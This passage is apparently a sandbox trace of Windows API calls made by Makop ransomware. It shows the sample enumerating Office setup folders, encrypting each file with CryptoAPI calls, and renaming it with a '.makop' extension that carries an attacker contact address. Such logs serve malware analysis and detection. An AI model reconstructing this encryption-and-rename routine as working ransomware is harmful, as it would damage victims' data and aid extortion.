nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.198] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.198] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.198] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.198] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.198] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x750, lpOverlapped=0x0) returned 1 [0093.198] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x750, dwBufLen=0x750 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x750) returned 1 [0093.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.198] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x750, lpOverlapped=0x0) returned 1 [0093.199] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.199] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.199] SetEndOfFile (hFile=0x114) returned 1 [0093.205] GetProcessHeap () returned 0x48a0000 [0093.205] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.205] GetProcessHeap () returned 0x48a0000 [0093.205] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.205] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 150 [0093.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.209] CloseHandle (hObject=0x114) returned 1 [0093.209] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0093.210] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0093.210] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0093.210] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en") returned 88 [0093.210] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*") returned 92 [0093.210] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0093.215] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.215] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0093.215] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0093.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.216] GetProcessHeap () returned 0x48a0000 [0093.216] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.216] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.216] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xd, lpOverlapped=0x0) returned 1 [0093.220] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.220] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.220] GetProcessHeap () returned 0x48a0000 [0093.220] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.220] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0093.220] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.221] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0093.221] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.221] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.221] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.221] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.221] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.222] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.222] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.222] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x543, lpOverlapped=0x0) returned 1 [0093.222] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x550, dwBufLen=0x550 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x550) returned 1 [0093.222] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.222] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x550, lpOverlapped=0x0) returned 1 [0093.222] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.223] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.223] SetEndOfFile (hFile=0x114) returned 1 [0093.229] GetProcessHeap () returned 0x48a0000 [0093.229] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.229] GetProcessHeap () returned 0x48a0000 [0093.229] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.229] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 145 [0093.230] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.231] CloseHandle (hObject=0x114) returned 1 [0093.231] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0093.231] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0093.231] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0093.231] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es") returned 88 [0093.231] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*") returned 92 [0093.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0093.233] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.233] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0093.233] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0093.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.235] GetProcessHeap () returned 0x48a0000 [0093.235] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.235] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.235] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.235] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xf, lpOverlapped=0x0) returned 1 [0093.239] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.239] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.239] GetProcessHeap () returned 0x48a0000 [0093.239] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.239] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0093.239] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.239] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0093.239] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.240] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.240] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.240] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.240] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.240] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.240] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.240] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.241] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x5b1, lpOverlapped=0x0) returned 1 [0093.241] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x5c0) returned 1 [0093.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.241] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x5c0, lpOverlapped=0x0) returned 1 [0093.241] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.241] SetEndOfFile (hFile=0x114) returned 1 [0093.247] GetProcessHeap () returned 0x48a0000 [0093.247] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.247] GetProcessHeap () returned 0x48a0000 [0093.247] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.247] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 145 [0093.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.248] CloseHandle (hObject=0x114) returned 1 [0093.248] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0093.249] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0093.249] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0093.249] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr") returned 88 [0093.249] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*") returned 92 [0093.249] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0093.250] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.251] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0093.251] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0093.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 